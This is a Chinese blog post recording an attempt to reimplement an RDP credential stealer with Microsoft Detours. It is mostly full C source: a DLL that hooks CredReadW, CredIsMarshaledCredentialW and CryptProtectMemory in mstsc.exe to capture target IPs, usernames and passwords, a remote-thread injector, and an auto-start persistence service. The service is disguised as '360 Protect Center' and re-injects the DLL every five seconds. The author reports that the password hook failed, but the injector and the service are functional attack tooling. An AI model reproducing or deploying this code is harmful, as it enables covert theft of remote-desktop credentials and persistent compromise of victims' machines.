Detours Hook Rdp

前言:Detours Hook Rdp实现笔记

关于Detours库

1、Detours是微软提供的一个开发库,使用它可以简单、高效、稳定地实现API HOOK的功能。

2、Detours是一个可以在x86、x64和IA64平台上测试任意Win32函数的程序开发库。它可以通过为目标函数重写在内存中的代码而达到拦截Win32函数的目的。

3、Detours还可以将任意的DLL或数据片段(称之为有效载荷)注入到任意Win32二进制文件中。

Hook IAT实现

Detours的编译:

1、将下载的Detours放到目录下:C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\VC\Auxiliary\Build
2、管理员权限运行cmd,以下所有操作都在命令行中执行
3、进入VS2017的Build目录:cd C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\VC\Auxiliary\Build
4、配置32位环境:vcvars32.bat
5、cd Detours-master
6、cd src
7、nmake /f makefile

Detours的静态库编译

#include <windows.h>
#include "detours.h"
#pragma comment(lib,"detours.lib")

static int (WINAPI *OldMessageBoxW)(HWND hWnd,LPCWSTR lpText, LPCWSTR lpCaption,UINT uType) = MessageBoxW;

int WINAPI NewMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption,UINT uType){
	return OldMessageBoxW(NULL, TEXT("you are hacked by zpchcbd !!!"),TEXT( "A Message from me"),uType);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((PVOID*)&OldMessageBoxW, NewMessageBoxW); // 你要HOOK的函数的函数的地址 和 你自定义的函数的函数地址.
	DetourTransactionCommit(); //  提交HOOK
}

//
void UnHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((PVOID*)&OldMessageBoxW,NewMessageBoxW);
	DetourTransactionCommit(); 
}

int main()
{
	MessageBoxW(NULL, TEXT("Common Function !!!"),TEXT("Hook Test"), 0);
	Hook();
	MessageBoxW(NULL, TEXT("Hook Function !!!"), TEXT("Hook Test"), 0);
	UnHook();
	return 0;
}

Detours Hook Rdp的实现

实现思路

1、HOOK三个核心的API

2、对HOOK API中的字符串进行存储 保存到指定的文件或者是利用HTTP请求外网服务器进行保存

3、HOOK的exe对mstsc进行远程线程注入来HOOK

4、对实施hook的exe进行 服务程序的编写,添加到服务项中

1、跟着3gstudent用API Monitor来查找存储敏感信息的API函数

        Time of Day	Thread	Module	API	Return Value	Error	Duration
116	2:22:59.391 PM	1	mstsc.exe	CredReadW( "TERMSRV/192.168.1.157", CRED_TYPE_GENERIC, 0, 0x000000dab3b49df0 )	FALSE	1168 = 找不到元素。 	0.0000684
	Time of Day	Thread	Module	API	Return Value	Error	Duration
20	2:22:56.235 PM	1	mstsc.exe	CredIsMarshaledCredentialW( "CBD666\administrator" )	FALSE		0.0000049
	Time of Day	Thread	Module	API	Return Value	Error	Duration
877	2:23:11.182 PM	15	mstscax.dll	CryptProtectMemory( 0x000001f02c3969e0, 32, CRYPTPROTECTMEMORY_SAME_PROCESS )	TRUE		0.0000133

核心API:

DPAPI_IMP BOOL CryptProtectMemory(LPVOID pDataIn,DWORD  cbDataIn,DWORD  dwFlags);
BOOL CredIsMarshaledCredentialW(LPCWSTR MarshaledCredential);
BOOL CredReadW(LPCWSTR TargetName,DWORD Type,DWORD Flags,PCREDENTIALW *Credential);

远程线程注入部分

#include<Windows.h>
#include<Tlhelp32.h>
#include<stdio.h>

DWORD GetOneProcessPid(const char *FileName) {
	HANDLE hSnapShot;
	PROCESSENTRY32 pro32;

	pro32.dwSize = sizeof(PROCESSENTRY32);
	// 1、获得当前进程的快照

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		return -1;
	}

	bool bMore;
	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
	bMore = Process32First(hSnapShot, &pro32);
	while (bMore) {
		// 3、获取指定进程名称的PID
		if (0 == strcmp(pro32.szExeFile, FileName)) {
			printf("%d", pro32.th32ProcessID);
			MessageBox(0, 0, 0, 0);

			CloseHandle(hSnapShot);
			return pro32.th32ProcessID;
		}
		bMore = Process32Next(hSnapShot, &pro32);       //遍历
	}

	// 4、释放资源
	CloseHandle(hSnapShot);

	return 0;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
	return 0;
}

bool LoadDll(DWORD ProcessPid, const char *DllPath) {
	HANDLE hProcess;
	DWORD DllPathLen;
	PDWORD addr;
	HMODULE hModule;
	PDWORD FuncAddr;

	// 1、获取要注入进程的句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
	if (hProcess == NULL) {
		return false;
	}

	// 2、获取DLL的信息
	DllPathLen = strlen(DllPath) + 1; //+1的原因结尾需要\0 结尾

	// 3、申请指定进程中的内存
	addr = (PDWORD)VirtualAllocEx(
		hProcess, //申请指定进程的句柄
		NULL,  // 安全描述符
		DllPathLen,  // 申请内存的字节大小
		MEM_COMMIT,  // 
		PAGE_READWRITE // 内存的属性
	);

	if (addr == NULL) {
		MessageBoxA(0, "VirtualAllocEx Fail", 0, 0);
		return false;
	}

	printf("VirtualAllocEx    %.8x\n", addr);

	// 4、将DLL的信息写入到要注入的进程内存中
	WriteProcessMemory(hProcess, addr, DllPath, DllPathLen, NULL);

	// 5、要获取其进程的LoadLibraryA/W的函数地址,该函数保存在系统中的Kernel32.dll中,那么需要先获得Kernel32.dll的句柄
	hModule = GetModuleHandle("Kernel32.dll");

	// 6、从中获得LoadLibraryA/W的函数地址
	FuncAddr = (PDWORD)GetProcAddress(hModule, "LoadLibraryA"); //返回值为函数地址

	printf("LoadLibraryA    %.8x", FuncAddr);

	// 7、注入到指定进程中进行加载内存中申请的DLL信息,把LoadLibraryA的地址作为函数 来加载addr,也就是DLL的路径
	if (CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(FuncAddr), addr, 0, NULL) == NULL) {
		MessageBoxA(0, "Fail", 0, 0);
		return false;
	}
	
	MessageBoxA(0, "success", 0, 0);
	return true;
}


int main() {
	LoadDll(GetOneProcessPid("mstsc.exe"), "D:\\Visual_Studio_repos\\RdpHook\\x64\\Debug\\RdpHookDll.dll");
	return 0;
}

DLL部分:


// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<dpapi.h>
#include<wincred.h>
#include<stdio.h>
#include<strsafe.h>
#include "detours.h"
#pragma comment(lib,"detours.lib")
#pragma comment(lib, "crypt32.lib")


static DPAPI_IMP BOOL (__stdcall * OldCryptProtectMemory)(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags) = CryptProtectMemory;
static BOOL (__stdcall *OldCredIsMarshaledCredentialW)(LPCWSTR MarshaledCredential) = CredIsMarshaledCredentialW;
static BOOL(__stdcall *OldCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
wchar_t wStringIp[64] = { 0 };
wchar_t wStringMarshaledCredential[64] = { 0 };
const wchar_t* wStringpDataIn;

// IP
BOOL NewCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) {
	wcscpy(wStringIp,TargetName);
	MessageBoxW(NULL, wStringIp, TEXT("A TargetName"), MB_OK);
	return OldCredReadW(TargetName, Type, Flags, Credential);
}

//账户
bool NewCredIsMarshaledCredentialW(LPCWSTR MarshaledCredential) {
	wcscpy(wStringMarshaledCredential,MarshaledCredential);
	MessageBoxW(NULL, wStringMarshaledCredential, TEXT("A MarshaledCredential"), MB_OK);
	return OldCredIsMarshaledCredentialW(MarshaledCredential);
}

//密码
BOOL NewCryptProtectMemory(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags) {
	DWORD cbPass = 0;
	LPVOID lpPassword;
	PDWORD Pdword = (PDWORD)pDataIn;
	LPVOID lpPasswordAddress = Pdword + 0x1;//跳过四个字节 前四个字节存储密码的大小
	memcpy_s(&cbPass, 4, pDataIn, 4); //用于下面的是否存在数据的判断

	MessageBox(0, wStringpDataIn,L"CryptProtectMemory", 0);

	if (cbPass > 0x2) {
		SIZE_T written = 0;
		lpPassword = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);
		WriteProcessMemory(GetCurrentProcess(), lpPassword, lpPasswordAddress, cbPass, &written); //写入相同的数据在内存中
		wStringpDataIn = (LPCWSTR)lpPassword;
		MessageBox(0, wStringpDataIn, L"GetCryptProtectMemory", 0);
	}
	
	return OldCryptProtectMemory(pDataIn, cbDataIn, dwFlags);
}

//设置钩子
void Hook()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread()); 
	DetourAttach((PVOID*)&OldCredReadW, NewCredReadW);
	DetourAttach((PVOID*)&OldCredIsMarshaledCredentialW, NewCredIsMarshaledCredentialW);
	DetourAttach((PVOID*)&OldCryptProtectMemory, NewCryptProtectMemory);
	DetourTransactionCommit();
}

//去掉钩子
void UnHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((PVOID*)&OldCredReadW, NewCredReadW);
	DetourDetach((PVOID*)&OldCredIsMarshaledCredentialW, NewCredIsMarshaledCredentialW);
	DetourDetach((PVOID*)&OldCryptProtectMemory, NewCryptProtectMemory);
	DetourTransactionCommit();
}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

    switch (ul_reason_for_call){
		case DLL_PROCESS_ATTACH: //DLL加载时
			MessageBoxW(0, L"Hooked", 0, 0);
			Hook();
		case DLL_PROCESS_DETACH: //DLL释放时
			//UnHook();
        break;
    }
    return TRUE;
}

获取不到密码,CryptProtectMemory无法进行HOOK!之后自己尝试对CryptProtectMemory进行下断点发现也不能断下,不知道是什么原因,太难了!!!

原作者的文章:https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/,用作者自己写的代码试了也一样 无法进行HOOK!!!

服务程序的实现:用ANSI编码写的

#include<Windows.h>
#include<Tlhelp32.h>
#include<stdio.h>

#define SLEEP_TIME 5000 //五秒进行一次DLL注入
#define LOG_FILE "c:\\programdata\\log.txt" //用来测试服务是否成功运行

void WINAPI ServiceMain(int argc, char *argv[]);
void WINAPI CtrlHandler(DWORD request);
bool WriteToLog(const char *mylog);
bool ToInstallService();
bool ToDeleteService();

bool LoadDll(DWORD ProcessPid, const char *DllPath);
DWORD GetOneProcessPid(const char *FileName);

BOOL brun = FALSE;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

int main(int argc, char *argv[]) {


	if (argc == 2) {

		if (strcmp(argv[1], "-install") == 0) {
			//相当于 打开SCM(Service Control Manager)-> 创建服务
			ToInstallService();
		}
		else if (strcmp(argv[1], "-uninstall") == 0) {
			// 相当于 打开SCM(Service Control Manager)-> 打开服务 -> 停止服务(如果正在运行) -> 删除服务
			ToDeleteService();
		}
	}

	//下面的逻辑为:启动分发器(连接到SCM) -> 注册服务控制处理器 -> 在控制处理器中对服务控制进行处理(通过SetServiceStatus反馈服务状态和设置接受的控制)

	//下面的功能是实现创建分派表并调用进程的主线程来启动控制分派器
	SERVICE_TABLE_ENTRY ServiceTable[2];
	char mydemo[] = "mydemozz";
	ServiceTable[0].lpServiceName = mydemo; //指向表示服务名称字符串的指针
	ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;//指向服务主函数的指针(服务入口点)
	ServiceTable[1].lpServiceName = NULL; //分派表的最后一项必须是服务名的NULL 指针
	ServiceTable[1].lpServiceProc = NULL; //分派表的最后一项必须是服务主函数域的 NULL 指针
	StartServiceCtrlDispatcher(ServiceTable);// 分派器启动新线程来运行分派表中每个服务的 ServiceMain 函数

	return 0;
}

void WINAPI ServiceMain(int argc, char * argv[]) { //这个函数就是工作函数,主要的处理都在这里面
	ServiceStatus.dwServiceType = SERVICE_WIN32; //
	ServiceStatus.dwCurrentState = SERVICE_PAUSE_PENDING; // 服务暂停正在等待中
	ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP; //只接受系统关机和停止服务两种控制命令
	ServiceStatus.dwWin32ExitCode = 0;
	ServiceStatus.dwServiceSpecificExitCode = 0;
	ServiceStatus.dwCheckPoint = 0;
	ServiceStatus.dwWaitHint = 0;

	hStatus = ::RegisterServiceCtrlHandler("mydemozz", CtrlHandler); //注册CtrlHandler,CtrlHandler的功能是接收系统传递的控制命令,然后进行相应的处理
	if (hStatus == 0) // 判断控制处理器是否注册成功
	{
		WriteToLog("RegisterServiceCtrlHandler Failed");
		return;
	}

	WriteToLog("RegisterServiceCtrlHandler Success");
	ServiceStatus.dwCurrentState = SERVICE_RUNNING; //到了这里的时候,该服务就是开始是准备运行了,那么状态就需要改成RUNNING
	SetServiceStatus(hStatus, &ServiceStatus); //更新状态


	//下面就开始任务循环了,你可以添加你自己希望服务做的工作
	brun = true;
	MEMORYSTATUS memstatus;
	char str[100];
	ZeroMemory(str, sizeof(str)); //清零str的内存地址
	while (brun)
	{
		// 需要5秒一次判断 是否存在进程mstsc,如果进程则直接进行注入操作
		WriteToLog("Load DLL !!!");
		LoadDll(GetOneProcessPid("mstsc.exe"),"C:\\ProgramData\\RdpHookDll.dll");
		Sleep(SLEEP_TIME); //每5秒进行更新一次
	}

}


void WINAPI CtrlHandler(DWORD request) { // 运行期间CtrlHandler根据request参数来进行相应的处理
	switch (request) {
	case SERVICE_CONTROL_STOP:
		brun = FALSE;
		ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		WriteToLog("Service Stopped");
		break;
	case SERVICE_CONTROL_SHUTDOWN:
		brun = FALSE;
		ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		break;
	default:
		break;
	}
	SetServiceStatus(hStatus, &ServiceStatus); //更新状态
}

bool WriteToLog(const char *mylog) { //写入文件
	FILE* pfile;
	fopen_s(&pfile, LOG_FILE, "a+");
	if (pfile == NULL)
	{
		return false;
	}
	fprintf_s(pfile, "%s\n", mylog);
	fclose(pfile);
	return true;
}

bool ToInstallService() {
	//首先获取自身文件路径
	char myPath[1024];
	GetCurrentDirectory(1024, myPath);
	GetModuleFileName(NULL, myPath, sizeof(myPath));
	char* path;
	//printf("%ls", myPath);
	SC_HANDLE SCmanager; // 用来接收 SCM
	SC_HANDLE  SCservice; // 接收 用SCM来创建来的服务返回来的该对象的句柄

	path = myPath;

	SCmanager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); //为空则连接本身的服务器,NULL打开默认的服务器,SC_MANAGER_ALL_ACCESS权限

	if (SCmanager == NULL) {
		printf("OpenSCManager Failed, error in 128 line\n");
		return true;
	}

	SCservice = CreateService(
		SCmanager,
		"mydemozz",
		"360 Protect Center",
		SC_MANAGER_ALL_ACCESS,
		SERVICE_WIN32_OWN_PROCESS,
		SERVICE_AUTO_START,
		SERVICE_ERROR_NORMAL,
		path,
		NULL,
		NULL,
		NULL,
		NULL,
		NULL);

	if (SCservice == NULL) { // 创建失败
		printf("CreateService Failed, error in 148 line\n");
		return false;
	}
	else {
		printf("CreateService Success!\n");
	}
	//创建成功的操作,则我们还需要关闭相应的句柄
	CloseServiceHandle(SCservice);
	CloseServiceHandle(SCmanager);
	return true;
}

bool ToDeleteService() {
	SC_HANDLE SCmanager;
	SC_HANDLE SCservice;

	SCmanager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (SCmanager == NULL) {
		printf("OpenSCManager Failed, error in 164 line, the reason maybe your privilege not enough \n");
		return FALSE;
	}

	SCservice = OpenService(SCmanager, "mydemozz", SERVICE_ALL_ACCESS | DELETE); //拿到 mydemozz 的服务句柄

	if (!SCservice) {
		printf("OpenService Failed, error in 171 line, the reason maybe your privilege not enough \n");
		return FALSE;
	}

	//两个句柄都拿到了,就可以进行删除的操作了

	//首先需要判断下SCservice中的服务是否正在运行,如果在运行的话 那么就得先stop,要不然删除不了的

	SERVICE_STATUS sStatus;

	//首先获取服务的信息
	if (!QueryServiceStatus(SCservice, &sStatus)) {
		printf("Get ServiceStataus Failed, error in 183 line\n");
		return FALSE;
	}

	//判断服务当前的状态
	if (sStatus.dwCurrentState != SERVICE_STOPPED) {
		//将该服务进行停止的操作
		if (ControlService(SCservice, SERVICE_CONTROL_STOP, &sStatus)) {
			//然后进行停止操作
			printf("Stop Service Success\n");
		}
	}

	if (DeleteService(SCservice)) {
		printf("Delete Service Success");
	}

	//最后关闭句柄
	CloseServiceHandle(SCmanager);
	CloseServiceHandle(SCservice);
	return true;
}

//遍历进程
DWORD GetOneProcessPid(const char *FileName) {
	HANDLE hSnapShot;
	PROCESSENTRY32 pro32;

	pro32.dwSize = sizeof(PROCESSENTRY32);
	// 1、获得当前进程的快照

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		return -1;
	}

	bool bMore;
	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
	bMore = Process32First(hSnapShot, &pro32);
	while (bMore) {
		// 3、获取指定进程名称的PID
		if (0 == strcmp(pro32.szExeFile, FileName)) {
			CloseHandle(hSnapShot);
			return pro32.th32ProcessID;
		}
		bMore = Process32Next(hSnapShot, &pro32);       //遍历
	}

	// 4、释放资源
	CloseHandle(hSnapShot);

	return 0;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter) {
	return 0;
}

//远程线程注入DLL
bool LoadDll(DWORD ProcessPid, const char *DllPath) {
	HANDLE hProcess;
	DWORD DllPathLen;
	PDWORD addr;
	HMODULE hModule;
	PDWORD FuncAddr;

	// 1、获取要注入进程的句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
	if (hProcess == NULL) {
		return false;
	}

	// 2、获取DLL的信息
	DllPathLen = strlen(DllPath) + 1; //+1的原因结尾需要\0 结尾

	// 3、申请指定进程中的内存
	addr = (PDWORD)VirtualAllocEx(
		hProcess, //申请指定进程的句柄
		NULL,  // 安全描述符
		DllPathLen,  // 申请内存的字节大小
		MEM_COMMIT,  // 
		PAGE_READWRITE // 内存的属性
	);

	if (addr == NULL) {
		MessageBox(0, "VirtualAllocEx Fail", 0, 0);
		return false;
	}

	// 4、将DLL的信息写入到要注入的进程内存中
	WriteProcessMemory(hProcess, addr, DllPath, DllPathLen, NULL);

	// 5、要获取其进程的LoadLibraryA/W的函数地址,该函数保存在系统中的Kernel32.dll中,那么需要先获得Kernel32.dll的句柄
	hModule = GetModuleHandle("Kernel32.dll");

	// 6、从中获得LoadLibraryA/W的函数地址
	FuncAddr = (PDWORD)GetProcAddress(hModule, "LoadLibraryA"); //返回值为函数地址

	// 7、注入到指定进程中进行加载内存中申请的DLL信息,把LoadLibraryA的地址作为函数 来加载addr,也就是DLL的路径
	if (CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(FuncAddr), addr, 0, NULL) == NULL) {
		MessageBoxA(0, "Fail", 0, 0);
		return false;
	}

	MessageBoxA(0, "success", 0, 0);
	return true;
}

总结

1、坑好多,比如Detours是分为x64 和 x86的,要选好准备注入的对方的系统型号

2、其实跟上面差不多,我那时候解决不了于是我用dbg进行调试发现是可以注入的,那是因为dbg是x86的 在x86的寄存器中运行,Detours x86 当然可以进行注入了,但是又是因为CryptProtectMemory的原因,只有x64好像才存在不知道咋滴,自己没研究,所以最后还是不行

3、到了最后可以注入了,发现还是HOOK不了CryptProtectMemory,不知道原作者是如何实现的,以后自己再研究吧,代码就扔着了,之后再试试!

posted @ 2020-03-06 11:24  zpchcbd  阅读(1556)  评论(0编辑  收藏  举报